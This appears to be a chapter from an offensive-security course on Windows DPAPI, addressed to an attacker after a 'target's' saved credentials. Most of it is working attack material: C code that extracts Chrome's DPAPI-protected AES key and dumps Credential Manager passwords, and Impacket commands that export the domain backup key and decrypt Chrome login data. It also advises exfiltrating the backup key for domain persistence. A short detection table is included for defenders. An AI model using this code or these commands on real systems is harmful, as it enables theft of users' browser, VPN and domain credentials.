DPAPI Master Key Decryption
How Windows DPAPI protects secrets, locating and decrypting master key blobs using the user's password or the domain backup key, and extracting browser passwords and Credential Manager entries
Your target's browser has saved credentials for the company VPN portal, an internal GitLab instance, and several cloud service accounts. Chrome, Edge, and Firefox all store saved passwords encrypted with DPAPI. The DPAPI master key for the user is stored in their profile directory — not in lsass memory, not in the registry. If you know the user's Windows password (or have access to the domain backup key), you can decrypt every DPAPI-protected secret on the machine without any lsass access at all. Understanding DPAPI is also essential because Mimikatz itself uses it internally.
DPAPI Architecture
Data Protection API (DPAPI) is a Windows API for encrypting arbitrary data tied to a user or machine identity. The key hierarchy has three levels: a master key derived from the user's password (or machine secret for SYSTEM DPAPI), a master key blob stored on disk and protected by that derivation, and a data blob encrypted with a session key derived from the master key.
Master Key Blob Format
Each user has a set of master keys — typically one active key and several older ones (DPAPI rotates master keys periodically). The master key blobs live at %APPDATA%\Microsoft\Protect\{user-SID}\. The filename of each blob is the GUID of that master key. A Preferred file in the same directory points to the currently active GUID:
// Master key blob file structure (simplified)
typedef struct {
DWORD Version; // 2
BYTE Guid[16]; // Master key GUID (same as filename)
DWORD Flags;
DWORD MasterKeyLen; // length of encrypted master key section
DWORD BackupKeyLen; // length of backup key section (encrypted with domain backup key)
DWORD CredHistLen; // credential history section
DWORD DomKeyLen; // domain key section (for domain accounts)
// Followed by: MasterKey section, BackupKey section, CredHist, DomKey
} MASTERKEY_BLOB_HEADER;
// MasterKey section (what we decrypt to get the 64-byte master key):
typedef struct {
DWORD Version;
DWORD Salt[4]; // 16 bytes of salt for key derivation
DWORD Rounds; // PBKDF2 iterations (typically 4000 or 8000)
ALG_ID AlgHash; // 0x8009 (CALG_SHA1) or 0x800e (CALG_SHA_512)
ALG_ID AlgCrypt; // 0x6603 (3DES) or 0x6610 (AES-256)
BYTE EncryptedKey[]; // variable: SHA1 of decrypted key + 64-byte key, all encrypted
} MASTERKEY_SECTION;
Decryption Paths
| Scenario | Decryption Method | Required Material |
|---|---|---|
| Running as the user whose secrets you want | CryptUnprotectData() — OS does it automatically | Nothing extra — the OS derives the key from the logged-in user context |
| Have the user's cleartext password | Manual master key derivation: PBKDF2(password, salt, rounds) → decrypt master key → decrypt blob | Password string + master key blob file |
| Have the user's NT hash but not password | SHA1(NT hash) → same PBKDF2 path with older Windows versions; on newer builds requires password | NT hash + master key blob |
| Domain account, have DC access | MS-BKRP RPC to DC retrieves domain backup key; domain backup key decrypts DomKey section of master key blob | Access to DC (MS-BKRP RPC), domain backup key or DC credentials |
| SYSTEM context (machine DPAPI) | DPAPI_SYSTEM LSA secret provides machine master key | SECURITY hive (DPAPI_SYSTEM secret) |
Decrypting Master Key with User Password (C Implementation)
When you have the user's plaintext password, derive the master key by replicating Windows' key derivation: SHA1 of the UTF-16LE password → PBKDF2-HMAC-SHA1 with the salt from the master key blob → decrypt the encrypted master key bytes with 3DES or AES. Then use the derived master key to decrypt any DPAPI blob belonging to that user:
#include <windows.h>
#include <wincrypt.h>
#include <dpapi.h>
#include <stdio.h>
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "ncrypt.lib")
// Simplest path: if running as the target user,
// CryptUnprotectData handles everything internally
BOOL DecryptDpapiBlob(const BYTE *ciphertext, DWORD cipherLen,
BYTE **plaintext, DWORD *plainLen) {
DATA_BLOB input = { cipherLen, (BYTE*)ciphertext };
DATA_BLOB output = {0};
// CryptUnprotectData works when running as the user who owns the data
// It automatically finds the correct master key in the user's profile
if (!CryptUnprotectData(&input, NULL, NULL, NULL, NULL, 0, &output)) {
fprintf(stderr, "CryptUnprotectData failed: %lu\n", GetLastError());
return FALSE;
}
*plaintext = output.pbData; // caller must LocalFree()
*plainLen = output.cbData;
return TRUE;
}
// Enumerate all master key blobs for the current user
void ListMasterKeys() {
char path[MAX_PATH];
DWORD len = GetEnvironmentVariableA("APPDATA", path, MAX_PATH);
strncat_s(path, MAX_PATH, "\\Microsoft\\Protect", _TRUNCATE);
WIN32_FIND_DATAA ffd;
char pattern[MAX_PATH];
_snprintf_s(pattern, MAX_PATH, _TRUNCATE, "%s\\*", path);
HANDLE hFind = FindFirstFileA(pattern, &ffd);
if (hFind == INVALID_HANDLE_VALUE) return;
do {
// SID subdirectories contain the master key GUIDs
if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
ffd.cFileName[0] != '.') {
char sidDir[MAX_PATH];
_snprintf_s(sidDir, MAX_PATH, _TRUNCATE, "%s\\%s\\*", path, ffd.cFileName);
WIN32_FIND_DATAA mfd;
HANDLE hm = FindFirstFileA(sidDir, &mfd);
if (hm != INVALID_HANDLE_VALUE) {
do {
if (!(mfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
printf(" MasterKey GUID: %s\\%s\n", ffd.cFileName, mfd.cFileName);
} while (FindNextFileA(hm, &mfd));
FindClose(hm);
}
}
} while (FindNextFileA(hFind, &ffd));
FindClose(hFind);
}
Domain Backup Key via MS-BKRP
For domain accounts, every master key blob contains a DomKey section — an additional copy of the master key encrypted with the domain's DPAPI backup key. The backup key is a 2048-bit RSA key pair stored in Active Directory (under CN=BCKUPKEY_*,CN=System,DC=...) and accessible only by Domain Admins. The MS-BKRP (Microsoft BackupKey Remote Protocol) RPC interface on domain controllers can decrypt any domain account's DPAPI master key if called with Domain Admin credentials:
-- Impacket dpapi.py — domain backup key extraction and use --
# Step 1: Extract domain backup key from DC (requires DA)
python3 dpapi.py backupkeys --action export -t CORP.LOCAL/admin:Password@DC01
# Output: a .pvk file containing the domain RSA backup key
# Step 2: Decrypt a specific master key blob using backup key
python3 dpapi.py masterkey -file "/path/to/{GUID}" -pvk domain_backup_key.pvk
# Step 3: Decrypt a DPAPI blob using the master key
python3 dpapi.py credential -f credential_blob -key 0xABCDEF... # master key hex
# Step 4: Decrypt Chrome's Login Data using master key
python3 dpapi.py chrome --logindata "C:\Users\victim\AppData\Local\Google\Chrome\User Data\Default\Login Data" \
-key 0xABCDEF...
The domain DPAPI backup key is a single RSA key pair for the entire domain. Anyone who extracts it can decrypt every DPAPI-protected secret for every domain user on every machine in the domain — browser passwords, credential manager entries, WiFi keys, EFS private keys, and more. It persists indefinitely (does not rotate unless manually regenerated), survives password changes, and works on offline blobs. Stealing the domain backup key is one of the highest-value persistence and post-exploitation moves available after domain compromise. It should be exfiltrated and stored securely as part of domain persistence operations.
SYSTEM DPAPI — Machine-Scope Secrets
The SYSTEM account uses a separate DPAPI master key scope. Machine-scope DPAPI (used when CryptProtectData is called with CRYPTPROTECT_LOCAL_MACHINE) protects secrets using a key derived from the machine's account credentials rather than a user's password. The DPAPI_SYSTEM LSA secret (extractable from the SECURITY hive as shown in ch97) provides the material to derive the machine DPAPI master key:
Browser Credential Extraction
Chrome, Edge (Chromium), and Brave all store saved passwords in an SQLite database at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data. The passwords are encrypted with AES-256-GCM using a key derived from DPAPI. Chrome 80+ added an additional layer: the AES key itself is stored DPAPI-encrypted in the file Local State (JSON). The full extraction chain:
#include <windows.h>
#include <wincrypt.h>
#include <dpapi.h>
#include <stdio.h>
// Step 1: Read "encrypted_key" from Chrome's Local State JSON
// The JSON contains: {"os_crypt":{"encrypted_key":"base64encoded..."}}
// The base64-decoded value starts with "DPAPI" (5 bytes) prefix, rest is DPAPI blob
BOOL GetChromeAesKey(BYTE **keyOut, DWORD *keyLen) {
char path[MAX_PATH];
DWORD pLen = GetEnvironmentVariableA("LOCALAPPDATA", path, MAX_PATH);
strncat_s(path, MAX_PATH,
"\\Google\\Chrome\\User Data\\Local State", _TRUNCATE);
// Read Local State JSON
HANDLE f = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (f == INVALID_HANDLE_VALUE) return FALSE;
DWORD fsz = GetFileSize(f, NULL);
char *json = (char*)HeapAlloc(GetProcessHeap(), 0, fsz + 1);
DWORD rd;
ReadFile(f, json, fsz, &rd, NULL);
json[rd] = '\0';
CloseHandle(f);
// Parse: find "encrypted_key":"..." in JSON
const char *marker = strstr(json, "\"encrypted_key\":\"");
if (!marker) { HeapFree(GetProcessHeap(), 0, json); return FALSE; }
marker += strlen("\"encrypted_key\":\"");
char b64[1024] = {0};
DWORD b64len = 0;
while (marker[b64len] != '"' && b64len < sizeof(b64) - 1)
b64[b64len++] = marker[b64len];
HeapFree(GetProcessHeap(), 0, json);
// Base64 decode
DWORD decodedLen = 0;
CryptStringToBinaryA(b64, b64len, CRYPT_STRING_BASE64,
NULL, &decodedLen, NULL, NULL);
BYTE *decoded = (BYTE*)HeapAlloc(GetProcessHeap(), 0, decodedLen);
CryptStringToBinaryA(b64, b64len, CRYPT_STRING_BASE64,
decoded, &decodedLen, NULL, NULL);
// First 5 bytes are "DPAPI" prefix — skip them
DATA_BLOB input = { decodedLen - 5, decoded + 5 };
DATA_BLOB output = {0};
CryptUnprotectData(&input, NULL, NULL, NULL, NULL, 0, &output);
HeapFree(GetProcessHeap(), 0, decoded);
*keyOut = output.pbData; // 32-byte AES-256 key
*keyLen = output.cbData;
return (output.cbData == 32);
}
// Step 2: Open "Login Data" SQLite DB and query logins table
// SELECT origin_url, username_value, password_value FROM logins
// password_value bytes: first 3 = "v10" or "v11" prefix, then 12-byte nonce, then AES-GCM ciphertext + 16-byte tag
// Decrypt: AES-256-GCM(key, nonce=bytes[3:15], ciphertext=bytes[15:-16], tag=bytes[-16:])
Windows Credential Manager Extraction
Windows Credential Manager stores credentials (generic, domain, certificate-based) accessible via CredEnumerate and CredRead. When running as the target user, these APIs return decrypted credentials automatically. The credential blobs stored on disk are DPAPI-encrypted files at %LOCALAPPDATA%\Microsoft\Credentials\:
#include <windows.h>
#include <wincred.h>
#include <stdio.h>
#pragma comment(lib, "advapi32.lib")
void DumpCredentialManager() {
DWORD count = 0;
PCREDENTIALW *creds = NULL;
if (!CredEnumerateW(NULL, 0, &count, &creds)) {
fprintf(stderr, "CredEnumerate failed: %lu\n", GetLastError());
return;
}
printf("[+] Found %lu credentials in Credential Manager:\n\n", count);
for (DWORD i = 0; i < count; i++) {
PCREDENTIALW c = creds[i];
const char *typeStr = "Unknown";
switch (c->Type) {
case CRED_TYPE_GENERIC: typeStr = "Generic"; break;
case CRED_TYPE_DOMAIN_PASSWORD: typeStr = "Domain"; break;
case CRED_TYPE_DOMAIN_CERTIFICATE: typeStr = "Certificate"; break;
}
wprintf(L"[%d] Type: %S\n", i+1, typeStr);
wprintf(L" Target: %s\n", c->TargetName ? c->TargetName : L"(null)");
wprintf(L" Username: %s\n", c->UserName ? c->UserName : L"(null)");
// CredentialBlob is the password — for CRED_TYPE_DOMAIN_PASSWORD it is
// a UTF-16LE string; for Generic it may be binary or string depending on app
if (c->CredentialBlobSize > 0 && c->CredentialBlob) {
// Try printing as wide string
wprintf(L" Password: %.*s\n",
c->CredentialBlobSize / 2,
(WCHAR *)c->CredentialBlob);
}
wprintf(L"\n");
}
CredFreeW(creds);
}
Detection
| Signal | Source | Notes |
|---|---|---|
| Process accessing %APPDATA%\Microsoft\Protect\ (master key directory) | Sysmon EventID 11/FileCreate; ETW FileIO | Legitimate access by lsass.exe, DPAPI service; any other process reading .{GUID} files is anomalous |
| CryptUnprotectData called on Chrome's "encrypted_key" blob | ETW / userland hook | Hard to distinguish from Chrome itself; process identity matters |
| SQLite database (Login Data) opened by non-Chrome process while Chrome is closed | Sysmon FileCreate/Process access | High fidelity — file is locked when Chrome runs; any other process reading it when Chrome is closed is suspicious |
| CredEnumerate called from unexpected process | ETW API monitoring | powershell.exe, cmd.exe, or unknown binary calling CredEnumerate |
| MS-BKRP RPC call to domain controller | Network / DC event log | Unusual source calling the BackupKey RPC endpoint; DC logs 4662 on CN=BCKUPKEY_* object access |
Q&A
Does a user's password change invalidate DPAPI-protected secrets?
Yes and no. When a user changes their password through the normal Windows change password flow (Ctrl+Alt+Del → Change Password, or domain password change), Windows automatically re-encrypts the DPAPI master keys with the new password. The secrets remain accessible. However, if an administrator resets the user's password (rather than the user changing it themselves), Windows cannot automatically re-encrypt the master keys because it no longer has the old password. The master key blobs on disk remain encrypted with the old password — they become inaccessible to the user after the forced reset. The only recovery path is the domain backup key (for domain accounts) or the credential history section of the master key blob (for rotated keys). This is a known issue: forced password resets break DPAPI-protected secrets. From an attacker's perspective: if you reset a target user's password to gain access, you may inadvertently destroy their DPAPI-protected secrets. If you need those secrets, change the password back or extract them before the reset.
Does DPAPI work when the user is offline (not connected to the domain)?
For user-scope DPAPI (encrypted with the user's password): yes, completely offline. The master key derivation from the password is purely local — no DC communication needed. The PBKDF2 derivation happens on the local machine using the master key blob file in the user's profile and their password hash. For the domain key section of the master key blob (the backup/recovery path via MS-BKRP): no, this requires connectivity to a domain controller to call the MS-BKRP RPC. But the primary user-password-based decryption works entirely offline. This is by design — laptop users need to decrypt their DPAPI secrets while travelling without VPN. The domain backup key path is only the recovery/admin path, not the primary path. Implication for attackers: if you have the user's password (from cracking an NT hash from ch97, or from a keylogger), you can decrypt their DPAPI secrets completely offline on an air-gapped analysis machine using impacket's dpapi.py with the -password flag — no connection to the target environment needed after extracting the master key blobs and encrypted credential files.